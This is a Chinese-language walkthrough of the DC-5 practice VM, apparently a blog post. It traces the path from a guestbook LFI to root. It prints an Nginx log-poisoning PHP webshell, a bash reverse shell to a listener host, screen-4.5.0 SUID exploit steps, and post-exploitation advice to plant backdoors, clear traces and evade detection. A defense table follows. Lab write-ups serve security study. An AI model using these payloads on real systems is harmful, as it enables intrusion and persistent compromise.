ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

从留言板到Root权限:手把手复现DC-5靶机中的Nginx日志文件包含漏洞

2026/8/15 22:04:27 拓冰建站 浏览量
从留言板到Root权限:手把手复现DC-5靶机中的Nginx日志文件包含漏洞

从留言板到Root权限:DC-5靶机渗透测试中的Nginx日志文件包含漏洞实战解析

在网络安全领域,渗透测试是检验系统防御能力的有效手段。DC系列靶机作为经典的渗透测试学习环境,其第五版(DC-5)特别设计了一个基于Nginx日志文件包含漏洞的攻击链。本文将深入剖析如何从一个看似普通的留言板功能出发,通过细致观察和逻辑推理,最终获取系统最高权限的全过程。

1. 环境侦察与初步分析

渗透测试的第一步永远是信息收集。面对DC-5靶机,我们需要先建立基本认知框架:

nmap -sS -A 192.168.1.8 -p 1-65535

典型扫描结果会显示两个关键端口:

  • 80端口:运行着Nginx 1.6.2的Web服务
  • 111端口:提供rpcbind服务

通过浏览器访问80端口,会发现一个具有留言功能的简单页面。这里有几个值得注意的细节特征:

  • 每次提交留言后,页面底部显示的时间戳都会变化
  • 留言成功后会跳转到thankyou.php页面
  • 页面源代码中可以看到footer.php的引用

提示:时间戳的异常变化往往是动态内容加载的标志,这可能是文件包含漏洞的线索。

使用dirsearch进行目录扫描:

dirsearch -u http://192.168.1.8 -e php -r

扫描结果中,footer.php文件特别值得关注,因为:

  1. 它不是常见的静态页脚文件
  2. 每次刷新都会导致时间戳变化
  3. 它被thankyou.php显式包含

2. 文件包含漏洞的发现与验证

文件包含漏洞通常分为本地文件包含(LFI)和远程文件包含(RFI)。在DC-5环境中,我们需要验证是否存在LFI漏洞。

基本测试方法是在URL参数中尝试包含系统文件:

http://192.168.1.8/thankyou.php?file=/etc/passwd

如果成功显示系统用户列表,则确认存在LFI漏洞。但单纯的读取文件只是开始,我们需要寻找写入和执行代码的方法。

Nginx日志文件包含攻击原理

组件路径可写性包含可行性
错误日志/var/log/nginx/error.log可写
访问日志/var/log/nginx/access.log可写
其他日志视配置而定可能视权限而定

通过Burp Suite拦截留言提交请求,我们可以将PHP代码注入到日志中:

POST /submit.php HTTP/1.1 Host: 192.168.1.8 Content-Type: application/x-www-form-urlencoded Content-Length: 35 message=<?php system($_GET['cmd']); ?>

然后通过文件包含执行日志中的代码:

http://192.168.1.8/thankyou.php?file=/var/log/nginx/access.log&cmd=id

3. 建立持久化访问

获取代码执行能力后,下一步是建立稳定的控制通道。常用的方法包括:

  1. Webshell上传

    • 直接写入一句话木马文件
    • 使用蚁剑/中国菜刀等工具连接
  2. 反向Shell建立

    # Kali监听端 nc -lvnp 4444 # 靶机执行 bash -c 'bash -i >& /dev/tcp/192.168.1.9/4444 0>&1'
  3. 交互式Shell升级

    python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm

注意:在实际环境中,建议使用加密的通信通道,如mkfifo配合openssl,避免流量被检测。

4. 权限提升与后渗透

获取初始立足点后,我们需要进行权限提升。DC-5靶机中设置了经典的SUID提权路径。

SUID提权步骤

  1. 查找具有SUID权限的可执行文件:

    find / -perm -u=s -type f 2>/dev/null
  2. 发现screen-4.5.0存在已知漏洞:

    • CVE-2017-5618
    • 影响GNU Screen 4.5.0及以下版本
  3. 利用漏洞脚本提权:

    # 本地准备exploit cp /usr/share/exploitdb/exploits/linux/local/41154.sh . # 分割脚本为三部分 # 编译各部分代码 gcc -fPIC -shared -ldl -o libhax.so libhax.c gcc -o rootshell rootshell.c # 上传到靶机执行 chmod +x dc5.sh ./dc5.sh

提权后操作

  • 收集系统信息
  • 查找敏感文件
  • 建立持久化后门
  • 清除攻击痕迹

5. 漏洞原理深度分析

理解攻击背后的原理比单纯复现更重要。让我们深入分析几个关键技术点:

Nginx日志文件包含的本质

  1. 日志记录机制

    • Nginx默认记录客户端请求到access.log
    • 记录错误信息到error.log
    • 日志文件通常对Web进程可写
  2. PHP包含特性

    include($_GET['file']);
    • 当参数未严格过滤时,可以包含任意文件
    • 包含日志文件时,其中的PHP代码会被执行
  3. 攻击条件组合

    • 存在文件包含漏洞
    • 能够向可包含文件写入内容
    • 包含的文件内容会被解析执行

防御措施对比

攻击环节防御方法有效性
文件包含禁用allow_url_include
严格过滤包含路径中高
日志注入日志文件与Web目录分离
设置日志文件不可执行
权限提升及时更新软件版本
最小权限原则

6. 渗透测试方法论反思

通过DC-5靶机的实战,我们可以总结出一些通用的渗透测试思路:

  1. 观察细微异常

    • 时间戳变化
    • 非预期行为
    • 隐藏的功能点
  2. 假设验证循环

    • 提出漏洞假设
    • 设计验证实验
    • 分析结果并迭代
  3. 攻击链构建

    • 从信息收集到漏洞利用
    • 从初始访问到权限提升
    • 从单点突破到全面控制

在实际测试中,保持耐心和系统性思维往往比掌握大量工具更重要。每个发现都应该被记录和交叉验证,看似无关的线索可能在后期串联成完整的攻击路径。